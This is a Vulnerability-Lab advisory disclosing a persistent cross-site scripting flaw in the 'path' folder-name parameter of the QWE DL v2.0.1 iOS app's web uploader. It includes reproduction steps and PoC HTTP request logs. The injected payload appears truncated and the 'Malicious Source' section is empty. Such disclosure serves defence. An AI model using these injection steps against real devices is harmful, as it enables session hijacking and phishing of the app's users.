Document Title: =============== QWE DL v2.0.1 iOS - Persistent Cross Site Vulnerability Date: ===== 2023-07-23 References: =========== https://www.vulnerability-lab.com/get_content.php?id=2326 VL-ID: ===== 2326 Common Vulnerability Scoring System: ==================================== 5.7 Vulnerability Class: ==================== Cross Site Scripting - Persistent Introduction: ============= Download and browse your documents on your iPhone, iPad and iPod. (Copy of the Homepage: https://apps.apple.com/us/app/qwe/id935520103 ) Abstract: ========= The vulnerability laboratory core research team discovered a persistent vulnerability in the QWE DL v2.0.1 mobile ios web-application. Affected Product(s): ==================== QWE Labs Product: QWE DL v2.0.1 - iOS Mobile Web-Application (GCDWebUploader Component) Report-Timeline: ================ 2023-07-01: Researcher Notification & Coordination (Security Researcher) 2023-07-02: Vendor Notification (Security Department) 2023-**-**: Vendor Response/Feedback (Security Department) 2023-**-**: Vendor Fix/Patch (Service Developer Team) 2023-**-**: Security Acknowledgements (Security Department) 2023-07-24: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A persistent input validation web vulnerability has been discovered in the QWE DL v2.0.1 mobile ios web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise the mobile web-application from the application-side. The vulnerability is located in the `path` parameter on creation of new folders. Remote attackers are able to inject own malicious persistent script code by manipulation of the path name variable. The injection point is the path name information and the execution point occurs in the file ui affected index and sub folders. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Input(s): [+] Create Folder Vulnerable Parameter(s): [+] path Affected Section(s): [+] Index [+] Sub Folders Proof of Concept: ================= The persistent web vulnerability can be exploited by remote attackers with network access with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install the local application 2. Open the web interfact with the local mobile device ip or domain 3. Add new folder and inject payload as name 4. Save malicious payload via post method request 5. Execution of payload occurs in affected main path or sub folders 6. Successful reproduce of the persistent web vulnerability! Malicious Source: Execution Index & Sub Folders
--- PoC Session Logs [POST] (Inject) --- http://[Localhost|IP]/create Host: [Localhost|IP] Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 13 Origin: http://[Localhost|IP] Connection: keep-alive Referer: http://[Localhost|IP]/ path=/test">%2F - POST: HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 2 Content-Type: application/json Connection: Close Server: GCDWebUploader --- PoC Session Logs [GET] (Execute) --- http://[Localhost|IP]/list?path=%2Ftest">%2F Host: [Localhost|IP] Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: keep-alive Referer: http://[Localhost|IP]/ - GET: HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 2 Content-Type: application/json Connection: Close Server: GCDWebUploader Risk: ===== The security risk of the persistent cross site web vulnerability in the mobile ios web-application is estimated as medium. Credits: ======== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2023 | Vulnerability Laboratory - [Evolution Security GmbH]™